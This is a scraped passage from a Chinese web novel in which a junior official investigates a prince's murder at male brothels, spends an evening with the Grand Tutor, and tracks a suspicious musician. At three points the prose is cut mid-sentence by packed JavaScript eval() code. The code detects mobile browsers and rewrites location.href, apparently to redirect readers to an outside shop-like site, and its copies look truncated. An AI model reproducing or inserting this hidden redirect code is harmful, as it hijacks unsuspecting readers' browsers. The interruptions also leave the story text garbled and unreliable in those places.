他讶异了一瞬,“你们怎么来了?” 孟知延闻言,无奈地看了眼吕锦城,后者大着嗓门嚷嚷:“榕檀,走走走,我们一同吃酒去!” 他满面春光,笑着上前拉住贺兰舟的手腕,小声凑到他跟前道:“一起去南风馆,那处新来了一个白面小倌,煞是好看。” 又是南风馆…… 听到这三个字,贺兰舟眼皮直抽抽。 吕锦城最爱美色,无关男女。 贺兰舟也知,吕锦城非闵王那样的禽兽,他喜玩乐、好风雅。 只是,想着闵王被害一事,他是怎么都不想去逛什么南风馆的。 似是看出他心思,吕锦城说:“我知你烦心闵王那老东西一事,不过,闵王就死在南风馆,你何不去别处的南风馆看看,没准有什么线索?” 孟知延也道:“京城就这些南风馆,有的时候,你不知道的消息,他们却可能知道。” 他说着,又朝一旁贴着的那哑奴画像努努嘴。 孟知延倒不是喜欢这种玩乐,只是单纯拗不过强拉着他的吕锦城,但光他一个人遭罪怎么行,无论如何,他都要拉上贺兰舟才行。 是以,他话说得头头是道。 可偏偏就切中了贺兰舟的心思。 贺兰舟顺着他的动作瞧过去,脑中登时清明,闵王死的那处南风馆,馆中众人未必会在意这个哑奴,可别处的南风馆就不一样了。 他们是竞争对手,说不得,都知晓对方后院栽了什么树,昨夜来了什么贵客,今晚又新来了怎样的小倌。 哑奴虽不起眼,可万一真的有对方人员见过他呢? 想了想,贺兰舟还是跟着二人一起,去了另一处南风馆。 南风馆的小倌们,比起女妓来,地位更低,毕竟堂堂男子,身强体壮,本可做些别的生计,可他们宁愿做这样的下九流,也不愿出卖力气,自然会让人瞧不起。 是以每个南风馆,并不会像妓馆那样挂牌子,多是门前立个空白招牌。 吕锦城带他们来的这处在城东,京城东面富贵人家子弟多,愿意把钱砸在这些小倌身上的,更多。 这处南风馆开在一处隐蔽的巷子里,门前上方挂着一方白牌子,倒与别处立在地上的不同。 一进馆里,管事的便迎上来,“问吕公子安,二位公子安。” 显然,吕锦城是这处的熟客,管事的也是个懂世故的,虽没见过贺兰舟和孟知延,却也没掠过了二人去。 等问了安,管事的又看向吕锦城,恭敬问道:“吕公子,可还是要坐在老地方?” 吕锦城双指夹着折扇,闻言在指间摇了两下,颔首道:“嗯,老地方、老规矩。” 管事的应了是,给一旁的小厮使了个眼神,小厮得了示意便步子匆匆,去了后厨。 “三位公子请。”管事的道。 管事的引着三人朝二楼走去,二楼是个环形,一间间屋子挨着,而每个门前三步远的地方俱摆着一副桌椅。 桌椅前面围着栏杆,倚着栏杆往下望去,底下的场景一览无余。 贺兰舟坐到座位,探过身子朝下望了眼,果然不愧是吕满洲,这“老地方”果然绝妙,不仅可以看清一楼台子上的每一处,还能将那些宾客看个遍。 底下来来往往不少穿着清凉的小倌,当然也有那心思巧妙的,耳朵上缀着垂至肩头的璎珞,衣衫严实,却在臂弯处挽着披帛。 从远处看,真是雌雄难辨,清雅至极。 也难怪有些男人沉迷与此了,只不过…… 贺兰舟托腮看着那一个个目露贪婪的宾客,肚鼓腰圆,有多少是已有家室之人? 贺兰舟暗叹一声,收回视线,从袖中掏出那哑奴的画像,便要张口问管事的。 吕锦城见他要将画像展开,轻咳了声,右手一压,大袖盖在那哑奴画像之上,另一手折扇轻展,问管事的:“你可知城西的那处南风馆被封了?” 管事的闻言,苦着脸:“如今街头巷尾都在传,说闵王死在了那处。” 大召京城,东富西贵。 这南风馆开的地段,也是有说道的。 他家这处开在城东,多是些有钱的商人,当然,如吕锦城这样的公子也是有的,但却比不得城西那家。 闵王那样的身份,自然更瞧得上那处。 他们两家也算同行,这南风馆的行当,上面不查还好,若查起来,他们都免不得责罚。 闵王是皇室中人,又死在南风馆这种地方,焉知朝中不会拿他们做筏子? 管事的说着,一边偷瞄吕锦城的反应。 吕锦城悠悠摇着折扇,沉吟了瞬息,方道:“既是如此,你没从他那儿挖些人来?” 管事的忙摆手道:“公子说笑了,各处馆中的小倌,那可是签了卖身契的,我们是万万挖不得的,不过……” 管事的顿了下,笑说:“不过,旁的人我倒是挖了几个。” 贺兰舟朝他看去,管事的又道:“诸位公子不必心急,待会儿就能看到。” 管事的卖关子,吕锦城没再逼问,拿着折扇点点他,朗笑几声:“果然老练!” 正此时,小厮已端上一壶茶、一壶酒,一碟果脯、半碟花生,而楼下台上已响起数道琴声。 管事的道:“乐已奏,今日的重头戏来了,小人便不多打扰诸位公子了。”说罢,躬身退去。 等人一走,吕锦城挪开压在画像上的手,倾过身子,凑到贺兰舟耳边。 “兰舟,你素来心思缜密,怎的今日如此莽撞?”哪有来南风馆玩乐,却一上来就查案的? 贺兰舟心里咯噔一下,刚刚太过急切,竟忘了查案虽是正事,可在这地界,却要偷偷摸摸着来。 毕竟这些南风馆,虽做得风生水起,却也怕官。 他若将画像展开,明眼人谁不知他是官府中人,这管事的又极老道,若是怕引火烧身,可难从他口中套话。 好在吕锦城语气关心,并非是怀疑他的身份。 贺兰舟在心底呼了口气,面上道:“满洲说得正是。” 末了,他问二人,“这管事的刚刚所言,可是从城西那处挖了什么角色来?” 孟知延口中嚼着花生,笑着摇了摇头,“不怪吕兄说兰舟你,你今日可真是心急,那管事的不说重头戏来了,咱们瞧着便是。” 贺兰舟一噎,也知是自己着急了,遂不再多言。 台下乐声清明,有一白面小倌提着衣摆从幕帘而出,长眉似柳,在眉上方又用朱砂胭脂绘两条卷曲的斜红。 唇间亦点一抹红,耳垂上缀着红色坠玉石的丝绦,十分雅致。 吕锦城盯着那小倌看了几眼,低低叫了声“乖乖”,末了,扭头朝贺兰舟脸上看去。 他摸了摸下巴,“啧”了声,道:“我怎么觉着,若榕檀你做这副面容,定是绝色倾国。榕檀唇形饱满,小巧圆润,若如此装扮,煞是可人。” 贺兰舟脸都黑了,愣是没分他一个眼神。 一旁孟知延闻言,“噗嗤”笑出了声, 他冲吕锦城道:“我们兰舟可是铁铮铮的男子汉,吕兄哪能将那些不入流的同他做比。” 吕锦城扬了扬眉,见贺兰舟下颌绷得紧紧,用折扇打了下嘴巴,忙告饶:“是满洲失言,满洲失言,榕檀大人有大量,宽容则个。” 贺兰舟屏着气,倒也没真的生气,毕竟他早知道这个死党是个小垃圾,跟小垃圾置什么气? 他从鼻子里哼出一声,扭头望向底下的台子。 台子上,小倌随着乐声迈开舞步,一动一摇间,满是妖娆之态。 贺兰舟瞄了两眼,便朝台上的乐师瞧去,共有四人,皆身着白衣,与小倌厚重的脂粉不同,他们不施粉黛,却也面容白皙。 “这调子可真好!”孟知延感叹了声。 吕锦城却嗤笑道:“我道那管事的说什么重头戏,原是将人家的乐师挖了过来,这调子,我倒是听过七八回了。” 贺兰舟耳朵一动,知晓这几个乐师恐是城西那处南风馆的。 闵王被害,城西那南风馆被查抄,可这些乐师却还需要生计的,而他们又非像那些小倌卖身入馆,自然可以趁此时出去接些私活。 而昨日在问询南风馆诸人时,这些乐师与闵王并无接触,是以徐进便将他们和宾客一起放了,只留了管事的和那群有卖身契在那儿的小倌。 贺兰舟探了探身子,目光从这四个乐师身上一一掠过。 曲调倏然转下,缓了片刻,又急急上转。 正此时,吕锦城折扇一拍手掌,“哦哟”了声,道:“这调子倒是从未听过。” 贺兰舟亦听得入迷,那四人当中最靠前的乐师,手指翻飞在琵琶之上,微闭着双眼,犹入世外之景,格外出尘。 “这曲子倒是不俗!”孟知延又赞了一声。 三人来了兴致,比起那好看的小倌来,吕锦城亦更青睐这个乐师,招招手,叫来一旁侍候的小厮。 “这乐师,便是你们管事的说的重头戏?” 这小厮便是刚刚给他们送酒水的,很是机灵,闻言,挤着脸笑说:“大人,这重头戏分二,一是那台上的西公子,二便是那乐师吕饶。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17340589|199307||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 听到那乐师的姓氏,吕锦城挑了挑眉,“倒是缘分了不是,竟是本家之人。” 小厮嘿嘿一笑,“他那是借了公子的光。” 顿了顿,他又道:“不过,这乐师吕饶确有些本事,我们馆主原先就想招他入馆,奈何被城西那家抢了些,这吕饶去了城西那处,煞是受欢迎,我们这儿好些客人奔着他去逛馆子呢。” 吕锦城沉吟了下,吩咐:“待会儿你把他引来。” 说着,赏了一锭银子给那小厮,小厮顿时一喜:“公子放心,他一下来,小人就把他带过来。” 贺兰舟亦想见见这乐师,这人乐理极佳,曲调不俗,是此一道大师中的大师。 三曲一了,那小倌西公子备受追捧,得了不少白花花的赏银,今日赏银最多者,才能与这西公子相谈一夜。 而吕锦城是个会享受的,倒是给那乐师赏银最多,西公子却只赏了百两。 乐师下了台,收了赏银,又听小厮说楼上有客人要见他,微微讶异,抬眸朝楼上看去。 四目相对,贺兰舟看清吕饶眼中一闪而过的慌乱,但转瞬,吕饶敛下眼中神色,跟着小厮来到二楼。 “多谢公子赏。” 白衣公子,怀抱琵琶,未有一丝谄媚,端端正正,若池中莲,清雅出尘。 “你后面那曲,倒是我未曾听过的调子,唤何名?”吕锦城问。 吕饶答:“回公子,名唤《与君曲》。” 吕锦城低喃一声:“与君……” 他抬眸问:“与何君?” 吕饶眼皮略略一颤,飞快看他一眼,又垂下眸,“自是与诸君。” 吕锦城挑了下眉,不置可否,半晌说:“你弹的这几首曲子,有南调,亦有北调。北调豪迈,有几分士之怒,不惧生死之感,南调凄婉,倒有……” 他微闭眼,折扇轻晃,缓缓道:“知己若死,士必不独活之意味。” 那乐师猛地抬头,大惊之色不掩,紧紧盯着吕锦城,“公子……竟听懂了?” 他以为,来这南风馆的人,无人能懂他的琵琶声,可没想到,眼前这年轻公子,看着轻佻风流,竟能听懂他的曲子。 吕锦城得意一展眉,吕饶真有一种遇到知音之感,是以,在他谢赏之后,竟是将这曲子的曲谱,赠了吕锦城。 贺兰舟不懂什么乐理,只是听吕饶的口音并不像京城本地人,好奇多问了句:“吕乐师,可是南地之人?” 当日在城西那处南风馆,他们顺天府负责问询小厮之流,乐师则由大理寺负责,他倒是没有与吕饶说话的机会。 既然吕锦城说他的曲子既有北调,又有南调,京城是北地,那吕饶会否是南地生人? 哪里想到,他这问一出口,吕饶脸色竟微微一变,转瞬敛目,勉强一笑说:“是,小人来自南地。”别的并未多说。 见他神色怪异,贺兰舟心下有几分奇怪,但此刻也只当这乐师不愿与人交谈,亦极重隐私。 待那乐师走后,吕锦城将曲谱随意放到桌上,嗤笑起他的身份,“一个下等乐师,还想与我论知音。” “可笑。” 贺兰舟:“……” 你可真是个不折不扣的小垃圾啊! 走这一趟,也见了那白面小倌,吕锦城并未觉得多有趣,反而多有些意兴阑珊,三人没待多久,便从馆中离开。 三人的住处方向不同,在正阳长街街首分别。 贺兰舟还在想闵王的案子,走了这南风馆一趟,也没什么收获,唯有袖中的曲谱,还算得慰藉。 吕锦城瞧不起乐师吕饶,自然不会带走曲谱,可他又觉得扔了这曲谱,实在可惜,且若被吕饶看见,也着实伤人心,便自己拿了回来。 可他也不会弹曲,更不像吕锦城那样懂音律,多半是放在家中,束之高阁。 轻叹一声,他将曲谱又往袖中塞了几分。 夜幕已微垂,偶有街边的铺子点起烛火,似萤火之光。 贺兰舟慢悠悠晃到一处书铺,书铺前,放着一张长桌,上面摆满了各色的史书、佛经、诗集等等。 他抬手,随意翻看着,无意看到一篇地理志。 那地理志的书封绘着一人一驴,身后是山川大河,那人脸与驴脸一样长,眼睛弯弯闭着,肩上还架着个扁担。 图案甚是有趣,贺兰舟来了兴趣,翻看起来。 待回过神时,天色已晚。 贺兰舟讶异地看了眼天色,忍不住喃喃:“竟这么晚了。” 各家灯笼悠悠晃着,烛火一摇一动,漫天星河涌动,月亮高悬。 正此时,不远处传来清润一声:“小贺大人。” 贺兰舟回身望去,那人笼在星河之下,月色如披帛。 13. 第 13 章 顾庭芳从城外归来,坐在马车里,闻听外面热闹非凡,掀开车帘,眸光一瞥,便看见立在书铺前的贺兰舟。 他命车夫停下,下了马车,唤了贺兰舟一声。 贺兰舟回头望过来,眼中映着灯火下含笑温润的顾庭芳,他眼睛一亮。 “太傅大人!” 顾庭芳手拢在衣袖里,慢条斯理地朝他走去,月色被他踩在脚下,肩头是流光溢彩。 顾庭芳走到他身侧,瞥了眼他手中的书,纳罕道:“小贺大人,喜欢读地理志?” 贺兰舟回:“这地理志十分风趣,很是引人入胜。” 他耸了下肩,“我来时,月亮还没出来,再回过神,天都这么黑了。” 顾庭芳笑了笑,“既是如此,当买得。” 说罢,他从袖中掏出一小块碎银,递给书铺一旁侍候的小厮。 见他为自己付了银钱,贺兰舟登时道:“这怎么使得?” 顾庭芳微侧过头,见他一脸着急,不由失笑,“不过二三碎银,若贺大人如此在意,不若多请我喝几碗糖水,亦或是……” 顾庭芳沉吟了下,道:“亦或是一月的馄饨?” 贺兰舟眨眨眼,见对面那人眸色认真,他心里不禁暗暗窃喜。 以前看的小说不也是这样吗?要想有情谊发展,必要你来我往! 贺兰舟想通后,认真点头:“嗯!” 小厮收了银钱,为贺兰舟包了一本新书,递了上前。 贺兰舟细细收好,妥帖地放在胸口,顾庭芳见他这宝贝的模样,只道:“看来小贺大人果然很喜欢这本地理志。” 贺兰舟想解释,张了张嘴,却没说出口。 顾庭芳望了眼天色,转而对他道:“天色不晚,小贺大人若是归家,不妨与我一起。” 贺兰舟越过他肩膀,看向停在路旁的马车,他穿来这些时日,难得见顾庭芳乘坐马车,想想,今日还没蹭蹭呢,跟着太傅一起回家也好。 他清清嗓子,话说得十分假:“兰舟本不想叨扰太傅大人,但实在天色太晚,若归到家中,只怕明日就起不来了,误了早朝的时辰。” 见他竟真的不客气,顾庭芳意外地挑了下眉,随即掩下眸中情绪,轻道了声:“好。” 二人朝马车的方向,并排走着。 为了增加寿命,贺兰舟一刻都等不得,一直紧紧贴着顾庭芳,二人衣袖挤得更是没有一丝空隙。 顾庭芳低头看了眼紧紧相贴的衣袖,转瞬目光落在贺兰舟脸上,后者一脸的清白无辜,顾庭芳摇头笑笑,任凭他靠过来。 “太傅大人这么晚了,是从哪里归来?”贺兰舟怕这样蹭着太过尴尬,没话找话。 顾庭芳走到马车前,率先登梯而上,而后折过身,将手递给贺兰舟。 眼前的手掌修长,掌心的纹路清晰细腻,指腹处略有薄茧,看着竟十分令人安心。 贺兰舟耳尖微红了下,顾庭芳已是开口:“姜满的大军驻扎在城外,陛下心忧,我便去查看了一番。” 贺兰舟愣了下,转瞬明白过来,闵王已死,左都大军尚且未安稳,要是姜满趁此时发动政变,倒是会让朝廷措手不及。 不过,姜满真的要叛乱,也师出无名,到最后只怕也会落得个不好的名声。 可想了想姜满的性子,他这人与沈问某些地方倒是相似,若是真的想做,哪管身后之名,只凭眼下自在才好。 “小贺大人?”顾庭芳将手又递前一分,浅唤了声。 贺兰舟抬手,将手心搭在上面,顾庭芳的指尖微凉,透过他的温热,凉意传来,又紧紧一拉,顾庭芳将人拉上了马车。 二人执手相携,进了车厢,车厢里并不宽大,中间立着一张小桌,上面放着点儿茶果点心。 因空间逼仄,贺兰舟更有由头紧挨着顾庭芳。 看着二人双腿相贴,顾庭芳拧了下眉,贺兰舟见他神色,怕惹了他厌烦,将腿略略移了开。 顾庭芳静了片刻,终是忍不住问:“贺大人在家中,也是与兄长如此亲厚吗?” 贺兰舟愣了下,眨巴着眼睛看他,顾庭芳扬了扬唇,伸手指着二人之间的距离。 许是马车并不平稳,晃动之际,贺兰舟的腿又不自觉地靠上顾庭芳的,而两人衣襟更是紧紧相贴,且他的衣袖还被顾庭芳压在了自己衣袖之下。 贺兰舟小脸爆红,嗫喏着慢慢朝一旁移去,一边道:“家中并无兄长,父母只我一个儿子而已。” 他声音越来越小,再要退无可退时,顾庭芳拉住他袖子,止住他动作。 贺兰舟抬眸朝他望去,顾庭芳轻扯了下,倾身坐了过来。 “想来是小贺大人盼望家中能有个兄弟。”顾庭芳笑说:“既是如此,我虚长小贺大人两岁,不妨将我视作兄长?” 他语气温润,也无一分一毫的一品大员架子,就连看着贺兰舟时,眼里都有着温和与爱护。 贺兰舟突然想起朝中人对这位太傅大人的评价——“忠上君、护百姓,爱山川,喜人间,是朝中清流,比之高山白雪。” “兄长”二字很好听,但贺兰舟却道:“太傅大人说笑了。” 他扯着唇,笑了笑,“兰舟不过区区六品,若是真唤了太傅大人‘兄长’,只怕第二日,就有朝臣挤兑我了,说我攀附权贵、不思进取。” 说着,他状似苦恼地皱着脸,顾庭芳见他那模样,摇头失笑。 这一插科打诨,二人不再谈论此事,而顾庭芳也并未远离贺兰舟。 走过半程,顾庭芳突的道:“小贺大人喜甜,不知可爱酒酿圆子?” 可可爱爱的糯米圆子,贺兰舟怎能不爱? 在顾庭芳说完,他眼睛就亮了一瞬,顾庭芳见状,弯腰从座下拿出一个粥罐,看他这姿势,贺兰舟真是大吃一惊。 毕竟顾庭芳无论何时都是端正的,像这般如孩童寻自己藏好的吃食模样,还真是难得一见。 顾庭芳将盖子打开,淡淡的酒香萦绕,混着浅浅的糯米香。 顾庭芳给他盛了一碗,“家中老仆所做,怕我今晚上回不来,没饭吃。” 贺兰舟见那满满一罐,就知他一口没动,当日请顾庭芳喝糖水,这人也是只喝了半碗,就没再动。 想来,与他不同,顾庭芳并不喜甜食,可若将这粥罐带回家中,老仆见未动一口,只怕也心中担忧。 想了想,贺兰舟不再犹豫,道了声谢,挽起袖子,拿起酒酿圆子,就吃了起来。 贺兰舟晚上也没吃什么,如今又是自己喜欢的酒酿圆子,当即吃了两大碗。 只不过,这圆子毕竟是酒酿的,贺兰舟酒力不行,吃了两碗,红晕就爬上了脸。 车内只燃着一根烛火,火光映在贺兰舟的脸上,顾庭芳的面容则隐在阴暗处。 只见烛火映照下,贺兰舟眼中迷蒙,双颊酡红,顾庭芳见状,一时好笑。他竟不知这位贺大人,竟如此不胜酒力,那浅淡的米酒,都无力招架。 目光下移,他不自觉地将视线落在贺兰舟的唇上,酒酿湿滑,他的唇被润得湿湿的,透着樱桃般的红。 顾庭芳微愣,旋即别开视线。 知自己酒量不好,生怕惹了人厌烦,贺兰舟一路掀开车帘吹着风,等快要到住处时,酒意散了不少。 待到他家门前,车夫勒住马匹,顾庭芳亦下马车,送他回家。 贺兰舟欢欢喜喜地道谢:“今日多谢太傅大人,若不然,我只怕要走穿鞋底了。” 原主大部分的银钱都撒在这房子上,他实在囊中羞涩,怎么可能雇马车回来? 顾庭芳:“兰舟兄客气了。” 听到称呼,贺兰舟一怔,太傅大人竟唤他“兰舟兄”…… 贺兰舟有些飘飘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17340590|199307||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然,宽大的衣袖随风摆动,笑意爬上嘴角。 看来,今日马车中相谈一番,让二人的情谊又亲近了几分,果然,下一刻,脑中响起系统清亮的机械音。 【叮~恭喜宿主,成功获得0.5天寿命,目前总计寿命值两年零二十四点五天,请宿主继续努力哦~】 绝对是bug!既然生命值能涨,凭什么不是一个月?为什么每次蹭太傅都只涨0.5天?! 贺兰舟在心里吐槽,可系统有时候就跟死了似的,就是不回答。 贺兰舟心下无语,面上对着顾庭芳,却是笑意不减,挥着手喊:“太傅大人,明日见。” 顾庭芳毕竟是当朝一品大员,他可以唤他“兰舟”,但他不能那么胆大妄为地唤他“庭芳兄”。 大召的衣袖宽大,那人挥着衣袖,袖子滑落下来,露出白皙修长的胳膊。 如此恣意,心中无杂事,这般有趣的人儿,在大召朝堂并不多见。 难得的,顾庭芳眼底染上一抹真心的笑意。 贺兰舟也抿唇笑了笑,待摆好了手,才转身往家中走。 只是,还未走半步,顾庭芳又唤他:“兰舟兄留步。” 贺兰舟顿住步子,疑惑地扭过头,顾庭芳道:“路上倒是忘问兰舟兄了,闵王一案,可有进展?” 提起闵王的案子,贺兰舟就脑袋疼,但也知此事重大,顾庭芳是当朝太傅,又是一力支持小皇帝,不可能不过问。 他琢磨了两下措辞,回:“闵王死得蹊跷,这哑奴寻不到,只怕案子并不好破。” 顾庭芳微微颔首,“如此,倒是辛苦兰舟兄了。” 说罢,他又拧眉道:“只是,不知为何,我总觉这哑奴的出现……倒与那找不见砸闵王脑袋的人一般。” 同样出现得诡异,又消失得无影无踪。 一瞬,贺兰舟就明白顾庭芳的意思。 顾庭芳:“兰舟兄很是聪颖,一定知道朝中不少人希望闵王死,一击不成,必会追击不休。我并不懂查案,也仅是一家之言,只望能给兰舟兄些想法,也好速速查清此案。” 贺兰舟心里很是感动,只是隐隐觉得哪里不对劲,但他又一时想不出,面对顾庭芳的好意,他又告谢了一番,二人才彻底告别。 回到家中,一切收拾妥当,贺兰舟躺在床上,细细思量着顾庭芳刚刚说的话。 他说得也不无道理,只不过,那哑奴绝不会是孙大年,可如果能砸一次闵王,沈问真的不会再找人动手杀了闵王吗? 想来,太傅大人也是如此作想。 贺兰舟脑中想起这个念头,轻叹了声,只觉这案子头疼得要命。 “不想了!” 他拉严被子,侧过身子躺着,望着地上探进来的月光,头脑渐渐放空,缓缓闭上眼。 屋外蝉鸣声不绝,也不知过了多久,黑夜中,贺兰舟猛地睁开眼睛。 地理志言,左都乃南地,那乐师——出自南地。 城东那处南风馆,乐师吕饶见到他们时,表情一瞬慌乱,到底是为何? 是看到他们慌了,还是……看到他慌了? 贺兰舟撩开被子,脚落在地上,脑中前所未有的清明。 吕饶第一眼便看见了他,认出了他是官府中人,后来面对他的询问,也是吞吞吐吐,似有隐瞒。 吕锦城曾说,闵王虽有不少儿子,却好男色。 闵王甚至还强抢民男,左都好颜色的男子,都绕着他走,那位乐师相貌不凡、清雅出尘,若是左都之人,可曾见过闵王? 泛是杀人,绝非无缘无故。 若真是如太傅大人所说,那么多人都想要闵王死,可他们想闵王死,只是为了他手中的兵。 但如今,闵王死得这般突然,夺取兵权,岂非不易? 那有没有可能——根本就是纯恨闵王的人杀的呢? 14. 第 14 章 贺兰舟起身,给自己倒了杯茶,猛灌了一口,头脑更加清楚。 今日他见沈问,观其模样,似乎也对这凶手十分感兴趣。 若是沈问所为,断不会这般表现。 毕竟,在沈问看来,他贺兰舟与自己是一条绳上的蚂蚱,当然他是蚂蚱,沈问是执绳之人。 沈问怎会把贺兰舟这个芝麻小官放在眼里,凭他那张狂至极的性子,只怕早就有意无意告诉贺兰舟,此事是他所为。 说不得到时,沈问还得威胁他一番,让他与自己“同流合污”,彻底给闵王案子封棺,最好是将闵王的死,嫁祸给他的宿敌。 可现下,闵王死状惨不忍睹,胸腔至肚腹,是被人一刀一刀割开的,死后再泄愤,恨之至极。 贺兰舟死死拧着眉头,手里紧握着茶杯,脑中不断想着所有的可能。 一旦思路偏了,可就不好找出凶手了。 贺兰舟想了一晚,将凶手可能是姜满的人、沈问的人,亦或是小皇帝的人都写了一通,可按照这些人的逻辑发展,却又全都走不通。 可若是乐师吕饶……虽然逻辑通了,他却没有作案时间,而哑奴出现在南风馆众人面前时,吕饶也同时出现过。 那若是说,吕饶不是凶手,但知道凶手是何人呢? 贺兰舟在纸上写写画画,额上沁出薄汗时,纸上已写满了,他猛地将笔放到桌上,长呼出一口气。 再抬头时,窗外天已亮了。 “糟了!” 天色大亮,贺兰舟顾不得案上这些写写画画,赶紧起来洗了把脸,将官服穿好,朝门外一路小跑。 待到了宫门前,立着不少同僚,他抹了把汗,心中暗道:倒是来得及上早朝。 今日早朝,无非还是闵王那些事,他现下只有怀疑,并无证据,也不好把猜测告知徐进等人。 等下了朝,他先寻到顺天府尹,请明今日要外出寻那哑奴,府尹施寻现在顶着的压力巨大,巴不得府衙里的人都出去寻人。 至于能不能找到,那是一回事,但让上头的人看出他的努力,这才是关键。 闻言,施寻仅摆了摆手,就让贺兰舟不必去府衙中了,直接去街上寻人便是。 有了府尹的话,贺兰舟再没顾及,一路奔向闵王被害的南风馆,将那哑奴的卖身契,与馆中所有人的名姓与初到南风馆的时间,要了出来。 但更多的,也不好查,贺兰舟只得又跑去国子监寻吕锦城帮忙。 有吕锦城在,出入户部自然没人阻拦,户部尚书倒也爽快,毕竟是闵王的案子,若真的能查出凶手,他们户部也能得个好名头。 如今大召,军民工匠各有一本黄册记录其身份、户籍、田产等,吕振命人将黄册找出,递给贺兰舟。 “那南风馆的众人名姓皆在此,你且慢慢找吧。” 吕振瞥过贺兰舟,眸光落在吕锦城身上,后者一龇牙,“谢谢爹。” 吕振从鼻子里哼一声,可表情却很受用,倒也没再多说,留下两人在屋中,便离去了。 这黄册上记载众多,吕锦城拿过一本,帮他翻找起来,一边问:“那哑奴卖身契上写的名姓,可是真的?” 贺兰舟摇头:“不是。” 吕锦城诧异了一瞬,挑眉:“不是?那你找黄册做什么?” 贺兰舟抬头,微拧了下眉:“我要找的——是吕饶。” 再次听到这名姓,吕锦城一愣,“那个乐师?” 贺兰舟点点头,将那日见吕饶,吕饶的反应告知于他,又说了自己的怀疑,“想来吕饶虽不是凶手,却认得这哑奴。” 他如今要找的,是吕饶是否来自左都,还有他现在所住的地方,以及跟他交好的亲人朋友。 吕锦城听他说完,也不再耽搁,细细翻起黄册,一直到未时,二人才找到“吕饶”的名姓。 “吕饶,乐户,大凌末年生人,南地丰州……”吕锦城喃喃念出声,末了问贺兰舟:“大凌末年,岂不是当年乱世之时?要在大朔之前。” 具体末年何时,倒是未曾言明,毕竟当初乱世之时,大朔九州王一统天下,待要再统计好各处人丁名姓等,也不是那么容易。 一直到如今大召,建了黄册,才算将人口好生统计了一番。 贺兰舟点头,又道:“若我没记错,地理志中载,丰州乃如今左都。” 吕锦城大惊:“他真是左都之人!” “这么说来,这吕饶很有可能在左都时,受过闵王那老东西的迫害。” 贺兰舟微拧了下眉,吕锦城又“啧啧”道:“难不成他是雇凶杀人?” 到底是雇凶,还是怎样,尤未可知,毕竟雇凶的话,只将人杀了便是,何必将那尸体弄成那般血淋淋模样? 贺兰舟抿唇未语。 二人查到吕饶的住处,倒是没单独去找人,而是一起回了趟顺天府。 毕竟闵王的死状还历历在目,若吕饶真的跟凶手有关,万一打草惊蛇,那凶手手段凶残,他们可不是人家对手。 向府尹借了些人手,贺兰舟让他们装作过路人,或蹲守在吕饶住处附近,或装成货郎在街巷游荡。 他们如今并无证据,不可盲目抓人。 吕锦城陪着贺兰舟在吕饶住处附近的馄饨铺子坐着,目光落在贺兰舟头上的草帽上。 他是个享乐性子,这街边的吃食吃不惯,自顾拿过手中的掌心茶壶,对着茶嘴喝了一口。 “榕檀,你确定这般打扮,那吕饶不会注意你?” 贺兰舟见吕饶的住处开了门,压低头上的草帽,一边回吕锦城:“自然不会。你别往他那儿看了!” 吕锦城大模大样地张望了眼,才垂下眸,对贺兰舟道:“不是吕饶。” 贺兰舟抬眸眨眨眼,扭头望过去,见是个妇人,愣了下。 黄册上并未说吕饶成了亲,而他也问了南风馆的人,吕饶一直是自己一个人住的,京城之中,并无亲眷。 吕饶是一年前来京城的,平日除了在南风馆弹琴奏乐,就是偶尔去城外踏青。 贺兰舟抿了下唇,将草帽摘下,喝了口馄饨汤,问老板:“老板,你可认得对面那户人家?”他伸手指了指吕饶的住处。 老板正捏着面团,闻言望了一眼,点头道:“哦,认得,吕乐师,他弹的曲子好听。不过,俺也不懂那些,反正大家都说好听。” 贺兰舟又问:“那你可知刚刚从他住处出来的妇人,是何人?” 这馄饨铺老板在这儿摆了几年的摊了,比起贺兰舟来,自然更熟悉吕饶,见他打听个不止,防备地看着他,“你问这些干嘛?” 贺兰舟为求隐蔽,拉着吕锦城,把二人的官服换下,如今穿着一身常服,百姓自然不会对他们多恭敬。 贺兰舟轻叹了声,状似为难道:“不瞒大哥你说,我家妹子自从在城外看了眼这吕乐师,回来便不吃不喝,非他不嫁不可。” 听他这随口胡诌,吕锦城差点儿呛到,咳了两声,将小茶壶放到桌上,斜眼挑眉看他。 老板“啊呀”了一声,还挺欢喜,“你这小郎君瞧着年岁不大,那你妹子可有二八年华?” 贺兰舟含笑颔首 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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吕锦城顿住步子,停下来翻看曲谱,虽没看出个什么来,但还是将曲谱整个看完,然后合上,问贺兰舟:“你说他当日说此曲名唤《与君曲》,他说是与诸君,可若按你的推测,他知晓凶手是谁,会否这曲子是为那凶手所做?” 贺兰舟猛地侧过头看他,又听他道:“士为知己者死。若吕饶真的曾受闵王迫害,他那好友岂不是……” 吕锦城缓缓道:“最有嫌疑?” “糟了!”贺兰舟惊呼一声。 当日他们在城东的南风馆,吕锦城曾说吕饶的曲子有北调豪迈,是士之怒,有南调凄婉,知己死,则必不独活。 “走!去那巷子的第三家!” 贺兰舟同吕锦城说完,又招呼一众顺天府的衙役朝摊铺老板所说的吕饶好友的住处跑去。 如果真是吕饶与他那好友…… 